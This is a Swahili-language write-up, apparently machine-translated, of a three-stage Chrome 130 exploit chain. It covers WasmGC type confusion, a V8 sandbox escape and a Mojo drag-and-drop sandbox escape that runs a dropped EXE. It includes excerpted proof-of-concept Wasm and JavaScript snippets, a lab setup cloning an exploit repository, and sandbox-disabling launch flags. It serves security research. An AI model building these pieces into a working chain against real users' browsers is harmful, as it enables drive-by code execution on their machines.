Chrome Exploiting

Reading time: 6 minutes

Ukurasa huu unatoa muonekano wa juu lakini practical wa mchakato wa kisasa wa "full-chain" exploitation dhidi ya Google Chrome 130 kulingana na mfululizo wa utafiti “101 Chrome Exploitation” (Sehemu-0 — Utangulizi). Lengo ni kuwapa pentesters na waendelezaji wa exploit msingi wa chini unaohitajika ili kuweza kuzalisha au kubadilisha mbinu hizo kwa ajili ya utafiti wao wenyewe.

1. Muhtasari wa Muktadha wa Chrome

Kuelewa uso wa shambulio kunahitaji kujua wapi msimbo unatekelezwa na ni sanduku gani zinazotumika.

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Layered defence-in-depth:

• V8 sandbox (Isolate): ruhusa za kumbukumbu zimepunguziliwa ili kuzuia kusoma/kandika bila mpangilio kutoka JITed JS / Wasm.
• Renderer ↔ Browser split inahakikisha kupitia Mojo/IPC ujumbe wa kupitisha; renderer haina ufikiaji wa asili wa FS/mtandao.
• OS sandboxes zinashughulikia kila mchakato zaidi (Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles).

Mshambuliaji wa mbali kwa hivyo anahitaji misingi mitatu ya mfululizo:

1. Uharibifu wa kumbukumbu ndani ya V8 ili kupata RW bila mpangilio ndani ya V8 heap.
2. Kosa la pili linalomruhusu mshambuliaji kutoroka sandbox ya V8 hadi kumbukumbu kamili ya renderer.
3. Kutoroka kwa sandbox ya mwisho (mara nyingi mantiki badala ya uharibifu wa kumbukumbu) ili kutekeleza msimbo nje ya sandbox ya Chrome OS.

2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Kosa katika TurboFan’s Turboshaft optimization linakosea kuainisha aina za marejeo ya WasmGC wakati thamani inazalishwa na kutumiwa ndani ya kipande kimoja cha msingi cha mzunguko.

Athari:

• Mwandiko wa programu anapuuza ukaguzi wa aina, akichukulia marejeo (externref/anyref) kama int64.
• Wasm iliyoundwa inaruhusu kuingiliana kwa kichwa cha kitu cha JS na data inayodhibitiwa na mshambuliaji → addrOf() & fakeObj() AAW / AAR primitives.

Minimal PoC (excerpt):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Kuhamasisha uboreshaji na kunyunyiza vitu kutoka JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Matokeo: kusoma/kandika bila mpangilio ndani ya V8.

3. Hatua ya 2 – Kutoka kwenye V8 Sandbox (tatizo 379140430)

Wakati kazi ya Wasm inapoandikwa kwa kiwango cha juu, JS ↔ Wasm wrapper inaundwa. Kosa la kutofautiana kwa saini linafanya wrapper kuandika zaidi ya mwisho wa kitu cha kuaminika Tuple2 wakati kazi ya Wasm inarejelewa ikiwa bado kwenye stack.

Kufuta maeneo 2 × 64-bit ya kitu cha Tuple2 kunatoa kusoma/kandika kwenye anwani yoyote ndani ya mchakato wa Renderer, kwa ufanisi kuzunguka V8 sandbox.

Hatua muhimu katika uhamasishaji:

1. Pata kazi katika hali ya Tier-Up kwa kubadilisha kati ya turbofan/kodi ya msingi.
2. Chochea tier-up huku ukihifadhi rejeleo kwenye stack (Function.prototype.apply).
3. Tumia Hatua-1 AAR/AAW kupata na kuharibu Tuple2 iliyo karibu.

Utambuzi wa wrapper:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Baada ya ufisadi tunapata renderer R/W primitive yenye vipengele vyote.

4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)

Kiolesura cha Mojo IPC blink.mojom.DragService.startDragging() kinaweza kuitwa kutoka kwa Renderer kwa vigezo vya kuaminika kidogo. Kwa kutunga muundo wa DragData unaoelekeza kwenye njia ya faili isiyo na mipaka renderer inamshawishi kivinjari kufanya drag-and-drop nje ya sandbox ya renderer.

Kwa kutumia hii tunaweza kwa programu “kuvuta” EXE mbaya (iliyowekwa awali katika eneo linaloweza kuandikwa na ulimwengu) kwenye Desktop, ambapo Windows kiotomatiki inatekeleza aina fulani za faili mara tu zinaposhushwa.

Mfano (uliopunguzia):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Hakuna uharibifu wa ziada wa kumbukumbu unaohitajika – kasoro ya mantiki inatupa utekelezaji wa faili bila kikomo kwa ruhusa za mtumiaji.

5. Mchakato Kamili wa Mnyororo

1. Mtumiaji anatembelea ukurasa wa wavuti mbaya.
2. Hatua ya 1: Moduli ya Wasm inatumia CVE-2025-0291 → V8 heap AAR/AAW.
3. Hatua ya 2: Ulinganifu wa wrapper unaharibu Tuple2 → kutoroka kwenye sanduku la V8.
4. Hatua ya 3: startDragging() IPC → kutoroka kwenye sanduku la OS & kutekeleza payload.

Matokeo: Utekelezaji wa Msimbo wa Kremote (RCE) kwenye mwenyeji (Chrome 130, Windows/Linux/macOS).

6. Maabara & Mipangilio ya Ukarabati

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Bendera muhimu unapotengeneza development build ya Chrome:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

Takeaways

• WebAssembly JIT bugs zinabaki kuwa njia ya kuaminika ya kuingia – mfumo wa aina bado ni mchanga.
• Kupata bug ya pili ya kuharibika kwa kumbukumbu ndani ya V8 (mfano, wrapper mismatch) inarahisisha sana V8-sandbox escape.
• Ukatili wa kiwango cha mantiki katika interfaces za Mojo IPC zenye mamlaka mara nyingi unatosha kwa final sandbox escape – angalia non-memory bugs.

References

• 101 Chrome Exploitation — Part 0 (Preface)
• Chromium security architecture